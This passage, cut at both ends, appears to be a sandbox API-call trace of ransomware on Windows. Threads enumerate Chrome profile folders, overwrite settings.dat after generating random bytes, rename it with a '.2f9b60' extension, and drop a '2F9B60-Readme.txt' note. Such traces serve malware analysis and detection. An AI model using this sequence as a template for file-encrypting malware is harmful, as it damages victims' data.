hTemplateFile=0x0) returned 0x3290 [0219.878] GetFileSizeEx (in: hFile=0x3290, lpFileSize=0x2788f6a0 | out: lpFileSize=0x2788f6a0*=427) returned 1 [0219.878] SetFilePointerEx (in: hFile=0x3290, liDistanceToMove=0x1a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.878] ReadFile (in: hFile=0x3290, lpBuffer=0x2788f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2788f668, lpOverlapped=0x0 | out: lpBuffer=0x2788f620*, lpNumberOfBytesRead=0x2788f668*=0x4, lpOverlapped=0x0) returned 1 [0219.879] FlushFileBuffers (hFile=0x3290) returned 1 [0221.388] CloseHandle (hObject=0x3290) returned 1 [0221.388] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60", dwFileAttributes=0x2024) returned 1 [0225.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169a20) returned 1 Thread: id = 3660 os_tid = 0x1414 [0218.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x42c2bd10 [0218.250] wcscpy (in: _Dest=0x42c2bd10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0218.250] wcscat (in: _Dest=0x42c2bd10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\" [0218.250] wcscat (in: _Dest=0x42c2bd10, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*" [0218.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ff40 [0218.252] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858f10 [0218.252] wcscmp (_String1=".", _String2=".") returned 0 [0218.252] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.252] wcscmp (_String1="..", _String2=".") returned 1 [0218.252] wcscmp (_String1="..", _String2="..") returned 0 [0218.252] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0218.252] FindClose (in: hFindFile=0x1b858f10 | out: hFindFile=0x1b858f10) returned 1 [0218.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ff40) returned 1 [0218.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2bd10) returned 1 [0218.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279430) returned 1 Thread: id = 3661 os_tid = 0x1598 [0218.256] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat")) returned 0x2020 [0218.256] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", dwFileAttributes=0x20) returned 1 [0224.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2cb4 [0224.394] GetFileSizeEx (in: hFile=0x2cb4, lpFileSize=0x2630fd20 | out: lpFileSize=0x2630fd20*=40) returned 1 [0224.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0224.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861020 [0224.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0224.396] NtQuerySystemTime (in: CurrentTime=0x2630fbe0 | out: CurrentTime=0x2630fbe0*=132462178283914000) returned 0x0 [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x7b9a48fb [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x4cb2cea4 [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x5f64a9cd [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x236a0eb2 [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x53eb695a [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x38a908c1 [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x5a0bbe4 [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x7632e5cb [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x4576d564 [0224.396] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x1a0836 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x714ab06f [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x59bae6b4 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x61a4dc8a [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x7b243fd7 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x306bd76d [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x22687e02 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x216b284d [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x7e916170 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x67db8d2b [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0xcdd0de7 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x42e302d0 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x5c40cbef [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0xc3f7edb [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x514be4ef [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x4b9f05c4 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x41afbad8 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x6f11fddb [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x6500cd91 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x48a9e6ea [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x18a2ae85 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x14ce11d3 [0224.397] RtlRandomEx (in: Seed=0x2630fbd0 | out: Seed=0x2630fbd0) returned 0x42e79e97 [0224.410] ReadFile (in: hFile=0x2cb4, lpBuffer=0x20446ac0, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x2630fbd0, lpOverlapped=0x0 | out: lpBuffer=0x20446ac0*, lpNumberOfBytesRead=0x2630fbd0*=0x28, lpOverlapped=0x0) returned 1 [0224.411] SetFilePointerEx (in: hFile=0x2cb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.411] WriteFile (in: hFile=0x2cb4, lpBuffer=0x20459710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x2630fbd4, lpOverlapped=0x0 | out: lpBuffer=0x20459710*, lpNumberOfBytesWritten=0x2630fbd4*=0x28, lpOverlapped=0x0) returned 1 [0224.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2f0 [0224.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6e0 [0224.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a6e0) returned 1 [0224.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20459710) returned 1 [0224.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20446ac0) returned 1 [0224.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420615b0) returned 1 [0224.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0224.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a6e0 [0224.839] SetFilePointerEx (in: hFile=0x2cb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0224.839] WriteFile (in: hFile=0x2cb4, lpBuffer=0x431f1fe0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2630fcf0, lpOverlapped=0x0 | out: lpBuffer=0x431f1fe0*, lpNumberOfBytesWritten=0x2630fcf0*=0x10a, lpOverlapped=0x0) returned 1 [0225.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2240 [0225.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0225.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0225.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0225.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0225.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0225.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0225.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0225.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0225.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2240) returned 1 [0225.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431adc20 [0225.797] sprintf (in: _Dest=0x431adc20, _Format="%c%c" | out: _Dest="88") returned 2 [0225.797] sprintf (in: _Dest=0x431adc22, _Format="%c%c" | out: _Dest="e1") returned 2 [0225.797] sprintf (in: _Dest=0x431adc24, _Format="%c%c" | out: _Dest="ff") returned 2 [0225.797] sprintf (in: _Dest=0x431adc26, _Format="%c%c" | out: _Dest="aa") returned 2 [0225.797] sprintf (in: _Dest=0x431adc28, _Format="%c%c" | out: _Dest="df") returned 2 [0225.797] sprintf (in: _Dest=0x431adc2a, _Format="%c%c" | out: _Dest="14") returned 2 [0225.797] sprintf (in: _Dest=0x431adc2c, _Format="%c%c" | out: _Dest="a3") returned 2 [0225.797] sprintf (in: _Dest=0x431adc2e, _Format="%c%c" | out: _Dest="0c") returned 2 [0225.797] sprintf (in: _Dest=0x431adc30, _Format="%c%c" | out: _Dest="a7") returned 2 [0225.797] sprintf (in: _Dest=0x431adc32, _Format="%c%c" | out: _Dest="ff") returned 2 [0225.797] sprintf (in: _Dest=0x431adc34, _Format="%c%c" | out: _Dest="58") returned 2 [0225.797] sprintf (in: _Dest=0x431adc36, _Format="%c%c" | out: _Dest="41") returned 2 [0225.797] sprintf (in: _Dest=0x431adc38, _Format="%c%c" | out: _Dest="05") returned 2 [0225.797] sprintf (in: _Dest=0x431adc3a, _Format="%c%c" | out: _Dest="7d") returned 2 [0225.797] sprintf (in: _Dest=0x431adc3c, _Format="%c%c" | out: _Dest="d2") returned 2 [0225.797] sprintf (in: _Dest=0x431adc3e, _Format="%c%c" | out: _Dest="6c") returned 2 [0225.797] sprintf (in: _Dest=0x431adc40, _Format="%c%c" | out: _Dest="3b") returned 2 [0225.797] sprintf (in: _Dest=0x431adc42, _Format="%c%c" | out: _Dest="9c") returned 2 [0225.797] sprintf (in: _Dest=0x431adc44, _Format="%c%c" | out: _Dest="67") returned 2 [0225.797] sprintf (in: _Dest=0x431adc46, _Format="%c%c" | out: _Dest="c8") returned 2 [0225.797] sprintf (in: _Dest=0x431adc48, _Format="%c%c" | out: _Dest="ac") returned 2 [0225.797] sprintf (in: _Dest=0x431adc4a, _Format="%c%c" | out: _Dest="39") returned 2 [0225.798] sprintf (in: _Dest=0x431adc4c, _Format="%c%c" | out: _Dest="bc") returned 2 [0225.798] sprintf (in: _Dest=0x431adc4e, _Format="%c%c" | out: _Dest="d7") returned 2 [0225.798] RtlInitAnsiString (in: DestinationString=0x2630fd68, SourceString="88e1ffaadf14a30ca7ff5841057dd26c3b9c67c8ac39bcd7" | out: DestinationString="88e1ffaadf14a30ca7ff5841057dd26c3b9c67c8ac39bcd7") [0225.798] RtlAnsiStringToUnicodeString (in: DestinationString=0x2630fd38, SourceString="88e1ffaadf14a30ca7ff5841057dd26c3b9c67c8ac39bcd7", AllocateDestinationString=1 | out: DestinationString="88e1ffaadf14a30ca7ff5841057dd26c3b9c67c8ac39bcd7") returned 0x0 [0225.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddf670 [0225.799] wcscat (in: _Dest=0x4310af40, _Source="88e1ffaadf14" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\88e1ffaadf14") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\88e1ffaadf14" [0225.799] wcscat (in: _Dest=0x4310af40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\88e1ffaadf14.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\88e1ffaadf14.2f9b60" [0225.799] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\88e1ffaadf14.2f9b60", NtPathName=0x2630fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\88e1ffaadf14.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0225.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x423aaec0 [0226.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aaec0) returned 1 [0226.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a5ba0) returned 1 [0226.373] NtQueryInformationFile (in: FileHandle=0x2cb4, IoStatusBlock=0x2630fd78, FileInformation=0x2630fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2630fd78, FileInformation=0x2630fd88) returned 0x0 [0226.374] NtSetInformationFile (FileHandle=0x2cb4, IoStatusBlock=0x2630fd78, FileInformation=0x2630fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0227.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310af40) returned 1 [0227.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf670) returned 1 [0227.291] FlushFileBuffers (hFile=0x2cb4) returned 1 [0228.830] CloseHandle (hObject=0x2cb4) returned 1 [0233.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x43112a60 [0233.034] wcscpy (in: _Dest=0x43112a60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0233.034] wcscat (in: _Dest=0x43112a60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\2F9B60-Readme.txt" [0233.034] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\2f9b60-readme.txt")) returned 0xffffffff [0233.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13c8 [0235.605] WriteFile (in: hFile=0x13c8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2630fc30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2630fc30*=0xba9, lpOverlapped=0x0) returned 1 [0240.081] CloseHandle (hObject=0x13c8) returned 1 [0243.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43112a60) returned 1 [0243.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311c220) returned 1 Thread: id = 3662 os_tid = 0x161c [0218.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65ce0 [0218.258] wcscpy (in: _Dest=0x1cd65ce0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0218.258] wcscat (in: _Dest=0x1cd65ce0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0218.258] wcscat (in: _Dest=0x1cd65ce0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*" [0218.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ff40 [0218.258] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9d20 [0219.366] wcscmp (_String1=".", _String2=".") returned 0 [0219.366] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.825] wcscmp (_String1="..", _String2=".") returned 1 [0219.825] wcscmp (_String1="..", _String2="..") returned 0 [0219.825] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0219.825] wcscmp (_String1="Cache", _String2=".") returned 1 [0219.825] wcscmp (_String1="Cache", _String2="..") returned 1 [0219.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce18080 [0219.826] wcscpy (in: _Dest=0x1ce18080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0219.826] wcscat (in: _Dest=0x1ce18080, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0219.826] wcscat (in: _Dest=0x1ce18080, _Source="Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0219.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431f4930 [0219.826] wcscpy (in: _Dest=0x431f4930, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0219.826] wcscat (in: _Dest=0x431f4930, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" [0219.826] wcscat (in: _Dest=0x431f4930, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*" [0219.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e200 [0219.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.907] wcscmp (_String1=".", _String2=".") returned 0 [0219.907] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.907] wcscmp (_String1="..", _String2=".") returned 1 [0219.907] wcscmp (_String1="..", _String2="..") returned 0 [0219.907] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, 